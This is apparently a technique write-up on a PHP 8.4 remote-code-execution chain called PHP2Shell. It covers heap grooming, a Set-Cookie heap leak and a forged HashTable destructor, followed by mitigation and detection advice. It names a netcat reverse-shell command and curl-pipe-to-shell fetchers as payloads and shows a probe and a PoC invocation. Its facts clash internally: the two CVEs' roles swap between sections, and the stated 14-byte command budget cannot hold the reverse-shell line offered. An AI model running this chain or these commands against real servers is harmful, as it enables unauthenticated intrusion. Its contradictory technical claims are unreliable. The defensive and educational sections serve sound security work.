PHP2Shell: how a session upload progress field turns PHP 8.4 into an unauthenticated RCE

  • php
  • web
  • use-after-free
  • heap-grooming
  • deserialization-adjacent
  • rce
  • cve-2026-109618
  • cve-2026-109619

Two CVEs filed in late October target the PHP engine itself, not an application: CVE-2026-109618 (an unauthenticated OOM-driven use-after-free in the session upload progress callback) and CVE-2026-109619 (the memory disclosure primitive that makes the UAF exploitable). Together they are known as PHP2Shell. The attack surface is the runtime, so a static index.php with zero PHP code is enough as long as session.upload_progress.enabled=1, which is the stock default since PHP 5.4. This piece explains how the chain actually works, why so many of the first public PoCs fail against real targets, and the one line of hardening that makes the whole chain go away.

PHP2Shell chain: OOM bail-out, Set-Cookie leak, forged HashTable A multipart POST crosses memory_limit, PHP longjmps out of request startup leaving dangling session pointers, the next POST on the same worker re-uses the freed bucket and spills heap bytes into Set-Cookie, a third POST forges a HashTable whose pDestructor is zif_system so session shutdown runs the attacker's command. 0 rotate oversized multipart POST crosses memory_limit, worker dies, prefork spawns a fresh child 1 prime multipart POST + PHP_SESSION_UPLOAD_PROGRESS, OOM bail-out leaves PS(id) dangling 2 leak next POST on same worker reclaims the freed bucket, Set-Cookie carries ~4 KB of heap 3 fire forge HashTable with pDestructor = zif_system, shutdown calls system(cmd) as www-data no auth, no uploaded file written, no PHP code in the application session.upload_progress.enabled = Off closes the entire chain
Four requests, one worker, one process memory. The vulnerability is in the session upload progress callback itself, so the application does not have to do anything PHP-side for the chain to run.

First, some background

If use-after-free bugs and PHP's memory model are already second nature to you, skip ahead to the next section. If not, let me give you the small amount of ground the rest of this relies on, because the whole chain is built out of these few pieces.

A use-after-free, first. A program hands a block of memory back to its allocator (frees it) but keeps a pointer to it. Picture a library returning a book to the shelf but keeping the index card that still points at that slot. Later a different book is shelved in the same slot, and the stale card now points at someone else's book. If an attacker gets to decide which book lands in the reclaimed slot, the stale pointer reads or writes attacker-chosen bytes while the program still believes it owns the original object. That is the entire game here: force a free, control what gets allocated into the freed slot, then abuse the pointer that is still pointing at it.

PHP's memory model, in five nouns. A zval is the little struct behind every PHP variable; it carries a type tag and a value. An array is a HashTable, and each entry inside it is a bucket. PHP does not ask the operating system for memory one object at a time; its own allocator, zend_mm, carves everything out of 2 MB chunks. And the SAPI is the thin layer that glues PHP to the web server (mod_php living inside Apache, or PHP-FPM behind nginx). Those five words name every structure the exploit forges or corrupts.

Two CVEs doing two different jobs. They are easy to blur together, so hold them apart:

CVE What it hands the attacker
CVE-2026-109619 A memory disclosure: the leak oracle that reads live heap back out through a response header.
CVE-2026-109618 The OOM-driven use-after-free: the write-and-execute primitive.

One tells you where things are, the other turns that knowledge into code execution. The chain needs both, which is why it is filed as two CVEs rather than one.

Why a plain multipart POST reaches the vulnerable code

session.upload_progress is a feature that lets a page poll its own session for byte counters while a file uploads. Any multipart POST that carries a form field whose name matches session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS) causes PHP to start a session during request startup, create a $_SESSION[upload_progress_<name>] key, and update it as each byte of the request body is parsed by php_session_rfc1867_callback. That callback caches raw zval* pointers to the counter buckets (post_bytes_processed, current_file_bytes_processed) so each byte-count update does not re-walk the hash table. Those cached pointers are the primitive the two CVEs abuse.

Nothing about this needs application code. A multipart POST to a static page served by mod_php still runs the entire PHP request lifecycle, including the rfc1867 callback and the session startup it triggers, which is why the X-Powered-By: PHP/8.4.26 banner alone (or the equivalent 8.2.0 to 8.2.34, 8.3.0 to 8.3.35, 8.5.0 to 8.5.11 banners) is enough reconnaissance. The reliability signal is also cheap: a tiny probe POST with the field name returns Set-Cookie: PHPSESSID=..., confirming the session machinery fired.

Stage 0: forcing a clean worker

Apache mod_php under prefork pre-forks a pool of worker children sized by MaxRequestWorkers (default 150). Each request lands on whatever child the MPM scheduler picks, and the UAF only pays out when stages 1 and 2 land on the SAME child in order. Any child that already serviced an unrelated request has heap state that scrambles the layout the attacker wants, so the first operational problem is pinning: hold most of the workers busy, do your work on the one or two that are left, then release.

The first and simplest way to pin workers is to open parallel TCP connections and dribble bytes slowly, keeping each child blocked on read(). The number that has to be pinned is MaxRequestWorkers - 1: a public PoC that pins 64 of 150 leaves 86 free children scrambling heap state, which is why those PoCs read "0 heap pointers" out of a successful looking leak request. Pinning the full 149 of 150 is what makes the next stage deterministic.

Stage 0's second job is the rotation itself. A single multipart POST sized to cross memory_limit during request startup forces zend_mm_safe_error to longjmp out, Apache reaps the worker because of the fatal, and prefork spawns a replacement with a clean heap. The attacker now has a known-fresh worker on the one free slot, and the pinning holds every other child, so the next three requests all land on that same child.

Stage 1: the dangling pointer window (CVE-2026-109619)

Stage 1 sends another multipart POST shaped like a legitimate upload. The parser enters php_session_rfc1867_callback, which:

  1. Calls php_session_start(), which allocates PS(id) (the session id string), opens the session file, assigns $_SESSION to PS(http_session_vars), and queues Set-Cookie: PHPSESSID=<id> via sapi_add_header so the client learns the id.
  2. Creates $_SESSION[upload_progress_<name>], a nested array of counters.
  3. Caches raw zval* pointers to post_bytes_processed and current_file_bytes_processed inside that array so each MB chunk can bump the counters without re-walking.

Then stage 1 overshoots. By padding one later field until the arena cannot grow further, the parser trips zend_mm_safe_error and longjmps out of request startup. zend_activate_modules() never runs, which matters because zend_activate_modules() is where session's RINIT would re-anchor these pointers. The engine is now in a state where PS(id) and PS(http_session_vars) still reference the heap allocations from this request, but the request itself is unwinding and those allocations will be freed. The worker survives because mod_php traps the fatal and continues the HTTP keep-alive, but its session globals now point at freed memory.

The bail-out is where the two CVEs join. CVE-2026-109619 is the dangling pointer: the OOM path leaves PS(id) and PS(http_session_vars) referencing freed buckets. CVE-2026-109618 is what happens on the NEXT request on the same worker: zend_hash_update() on $_SESSION[upload_progress_<name>] frees the old bucket via zval_ptr_dtor, and the next allocator call reclaims the freed slot with attacker-controlled bytes. The engine then serializes those bytes as the new session id and queues them inside Set-Cookie: PHPSESSID=.

Stage 2: reading the heap through Set-Cookie

The oracle is the Set-Cookie header. A standard zend_string has a 24-byte header plus payload; by forging a zend_string whose len field is 600000, you tell php_url_encode (which the SAPI calls to serialize the session id into Set-Cookie) to read 600000 bytes starting from the string's data pointer and spill them, URL-encoded, into the header value.

Running that against a worker whose heap you just groomed spills up to ~600 KB of live heap into the header; the two anchors you need sit within the first few kilobytes of it.

  • The chunk base. Take every 48-bit userland pointer in the decoded cookie and keep the most common 2 MB-aligned value. That is chunk_base, the base of the zend_mm chunk your controlled allocations live in. Knowing it lets you compute the address of anything you place on that chunk.
  • The libphp base. The second anchor is a pointer into libphp.so, the library whose code you eventually want to call. Stage 2 is shaped so that a freshly-allocated 56-byte HashTable lands where the leak can read it, and one of that structure's fields still holds a leftover pointer into libphp.so from an earlier allocation. That pointer surfaces at a fixed spot in the decoded cookie. Every function in a loaded library sits at a constant distance from the library's base, so you sanity-check the candidate by confirming its low 12 bits match that known distance (page alignment never disturbs the low 12 bits), then subtract to recover libphp_base. With the library base known, ASLR on libphp.so is defeated.

Both anchors are stable across keep-alive on the pinned worker because stage 1 drained the free list and stage 2 pinned the subsequent allocations to a predictable layout. Public PoCs that read "libphp = 0x0" are usually not misreading the cookie: they are reading a clean worker's cookie because stage 0's pinning let someone else serve the leak request.

Stage 3: the fake HashTable with pDestructor = zif_system

With chunk_base and libphp_base known, the attacker can now write exact addresses inside the vulnerable worker. The payload is a 167-byte zend_string that is simultaneously two overlapping fake structures:

  • A fake HashTable at chunk_base + ht_offset with pDestructor = libphp_base + zif_system_offset. In the engine, a HashTable is destroyed by calling its pDestructor on each element's zval. By pointing pDestructor at zif_system, every "element destruction" becomes a call to zif_system(zval*), PHP's internal implementation of system().
  • A single IS_STRING element whose bytes are the shell command the attacker wants to run. zif_system reads its first argument as a string zval and passes the string's bytes to /bin/sh -c.

The last move is to overwrite PS(http_session_vars) (still dangling from stage 1) with a fake IS_REFERENCE zval pointing at the carrier. Session write-close at request shutdown walks PS(http_session_vars), hits the forged HashTable, calls its pDestructor on the string element, and system(cmd) runs. The shell inherits the Apache user, usually www-data, and the exploit returns a plain HTTP response with no visible trace of the write-close machinery.

Carrier capacity bounds the command. The 167-byte zend_string leaves roughly 14 bytes for the inline command, which is enough for nc <ip> <port> -e /bin/sh on a target that has netcat, or for small curl | sh fetchers. A larger variant forges a 384-byte carrier that fits an inline webshell dropper plus a .htaccess with php_value auto_prepend_file so persistence lasts beyond the one shot. The small carrier is a hint about what to detect: a system() call whose arg length is under 20 bytes is already unusual.

The three operational details public PoCs often miss

Three things decide whether the chain fires on a real target even when the version banner matches. All three are solved problems once you know them, but every one of them silently returns an HTTP 200 "worked" response when it has not actually fired.

  1. Transfer-Encoding: chunked, with no Content-Length. PHP's rfc1867 parser rejects a POST before parsing if Content-Length > post_max_size. Chunked with no Content-Length leaves SG(request_info).content_length at -1 and the pre-check passes, so the parser allocates per-field until memory_limit fires. Without this, any OOM payload large enough to actually cross memory_limit=128M is pre-rejected because post_max_size on stock inis is 8M.
  2. Actually cross memory_limit. php:8.4.26-apache stock defaults to memory_limit=128M. A payload claiming to OOM with 12 MB of padding does not; the parser returns a plain HTTP 200, the worker survives, and no dangling pointers are left behind. The payload has to allocate enough per-field zval storage, during the window between $_SESSION creation and zend_activate_modules, to actually trip zend_mm_safe_error. A combination that works on 128 MB is roughly 129 one-megabyte big parts plus several hundred nested empty-file fields, with the exact shape tuned to force the allocation in the right phase.
  3. Build-variant S_OFFSET. zif_system and zval_ptr_dtor are stable across the official docker image, but the carrier's internal S_OFFSET (where the fake HashTable lands inside the 167-byte zend_string) can vary by one 4 KB page between builds. A profile measured on a Debian trixie image reads 0xF8398, while a build one revision apart reads 0xF5398. The symptom is a successful leak followed by a stage-3 fire that returns the same HTTP 200 as a benign request. GDB-measure the offset on the target build, or precompute it from nm /usr/lib/apache2/modules/libphp.so on the exact image under test.

If you have ever watched a PHP2Shell PoC return "leak OK, fire failed" against a stock mod_php box, every one of those three is the usual culprit.

Reproducing it against a lab target

The cleanest legal place to watch the whole chain fire is the retired Hack The Box web challenge Dark Embargo, which serves this exact bug on a stock php:8.4.26-apache image. Several researchers published working exploits during the disclosure window, so you point one of theirs at a spawned instance rather than writing your own:

A run against a spawned instance looks like the following. Nothing here is target-specific beyond the address HTB hands you, and the proof-of-execution command is a harmless id, which is all you need to confirm the chain rather than a shell:

git clone https://github.com/eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
cd php2shell-CVE-2026-109618-CVE-2026-109619-PoC

# 1. Fingerprint: the probe POST should answer with Set-Cookie: PHPSESSID=
#    If it does, the session upload-progress machinery is live and the target is worth shooting.
curl -s -D - -o /dev/null -F 'PHP_SESSION_UPLOAD_PROGRESS=x' http://TARGET:PORT/

# 2. Run the chain, asking only for id() as proof of code execution.
python3 poc_109618.py -u http://TARGET:PORT/ --cmd 'id' --profile bookworm
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Read the run through the lens of the three operational details above. A leak stage that prints a non-zero libphp base and a fire stage that returns uid=33(www-data) means the chain worked. A libphp base of zero means a clean worker served your leak request, so the pinning did not hold. A good leak followed by a fire that returns the same blank HTTP 200 as a benign request means you are on the wrong S_OFFSET for that exact build. The teaching value of doing this on a lab box is watching each stage's symptom in isolation, which is precisely what a defender has to recognize in production logs later. On a target that is tuned differently from the stock image (a different memory_limit, a one-page S_OFFSET shift, too few workers pinned), an HTB-specific PoC such as the community's dark-embargo exploit bakes in the right numbers, which is the difference between a first-try leak and a PoC that reads zero.

Why this matters

Three properties stack up to make this worse than a run-of-the-mill memory-corruption CVE:

  • Unauthenticated and application-independent. There is no login to get past and no vulnerable endpoint to discover. Any multipart POST to any path served by an affected mod_php reaches the bug, including a box that hosts nothing but a static holding page. The exposed population is "PHP sites on a vulnerable version," not "PHP sites that happen to run vulnerable code."
  • Fingerprint-and-shoot. The only reconnaissance is a version banner. X-Powered-By: PHP/8.4.26 plus a one-packet probe tells an attacker whether the whole chain is likely to work. That is exactly the shape that mass scanning and self-propagating worms feed on.
  • It lands as a foothold, not a crash. The payoff is system() running as the web user, not a denial of service. From www-data the ordinary web-to-internal pivots open up: reading application config and database credentials, reaching adjacent internal services, and escalating locally on the host.

The mitigating factors are real but thin. The chain is most reliable against Apache mod_php prefork, because that model alone hands an attacker deterministic worker rotation over plain HTTP; PHP-FPM and other SAPIs are affected but much harder to drive remotely. And it is loud: the repeated worker deaths and the oversized Set-Cookie headers are both detectable. But "loud and unauthenticated against the default configuration of a language runtime with an enormous install base" is precisely the profile that turns into opportunistic internet-wide scanning within days of a public PoC.

Defense

The mitigation is a single INI line. Everything else is depth.

  • Set session.upload_progress.enabled = Off. The feature exists so a page can poll its own session for upload byte counts; almost no modern application uses it, and turning it off closes every variant of this chain because the vulnerable callback never registers. This is a PHP_INI_PERDIR directive, so it goes in /etc/php/8.4/apache2/php.ini or an .htaccess with php_admin_value.
  • Upgrade past the patched build. PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12 close CVE-2026-109618 and CVE-2026-109619. If upgrading is not immediate, the INI toggle is a safe stopgap because disabling upload progress breaks only applications that opted into it.
  • Harden the arena the exploit grooms. memory_limit=64M (or lower if the application tolerates it) makes crossing it in the right phase harder; post_max_size capped near memory_limit reduces the attacker's payload budget; max_input_vars kept at or below the default 1000 limits how many nested fields the parser can allocate before giving up. None of these fix the bug, but each one narrows the operational window.
  • Prefer PHP-FPM over mod_php prefork where you can. The chain still exists on FPM, but prefork's deterministic worker-rotation-over-HTTP is what makes the chain reliable from the outside; FPM pools break the "same worker twice in a row" assumption that stage 1 and stage 2 depend on.
  • Drop the version banner. expose_php = Off removes X-Powered-By, which does not stop a determined attacker but removes the single cheapest fingerprint and raises the cost of mass scanning.

Detection

  • Apache workers dying with "Allowed memory size exhausted" in the error log, repeatedly, from the same source IP, inside a short window. This is stage 0 rotating workers. A healthy site has none of these; a probe has several in a minute.
  • Set-Cookie headers whose PHPSESSID value is unusually long (hundreds of bytes). A normal PHPSESSID is 26 bytes. A leak-stage response carries hundreds. Alert on PHPSESSID length greater than 64 at the reverse proxy.
  • Multipart POSTs with Transfer-Encoding: chunked and no Content-Length, carrying a PHP_SESSION_UPLOAD_PROGRESS field. Chunked uploads to PHP are rare on application traffic and the field name is specific; the combination is a near-signature.
  • www-data (or your Apache user) spawning sh, nc, curl, bash, or any short-lived child without a plausible parent script. zif_system goes through /bin/sh -c, so a short command (under 20 characters) coming from an Apache child is unusual on healthy servers.
  • Elevated worker respawn rates on mod_prefork. Prefork does respawn, but a baseline cluster rarely does so dozens of times per minute from one client. Correlate with HTTP log 500s from the same IP.

Any one of these in isolation is noisy. Two or three together inside a minute from one source is the chain.

The four primitives, recapped

Strip away the offsets and the whole thing is four reusable building blocks:

  1. Worker rotation on demand. One oversized multipart field crosses memory_limit and forces mod_php prefork to kill and respawn a child, handing you a clean worker with a known heap.
  2. A dangling session pointer. The OOM bail-out skips module re-initialization, so PS(id) and PS(http_session_vars) are left pointing at memory that is about to be freed. That is the disclosure CVE, 2026-109619.
  3. A heap-read oracle. The freed session id is reflected back in Set-Cookie, and a forged string length turns that header into a window onto ~600 KB of live heap, which gives up the chunk base and the libphp.so base. That is the use-after-free half, 2026-109618, used as a read.
  4. A destructor you control. A fake HashTable whose pDestructor points at zif_system, reached through the still-dangling session pointer, turns ordinary request shutdown into a single system(cmd).

Any one of these is a known pattern on its own. The CVE is that a stock PHP install hands all four to an unauthenticated client over plain HTTP.

Use

Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. This piece explains a documented runtime vulnerability so defenders can shut it, pairs it with the one-line mitigation that makes the whole chain inert, and points at the detection signals that fire even if someone forgets the INI toggle. Related reading: disable_functions is config, not a wall, and the broader SMB fully explained for how www-data RCE typically pivots inward from there.

Back to all techniques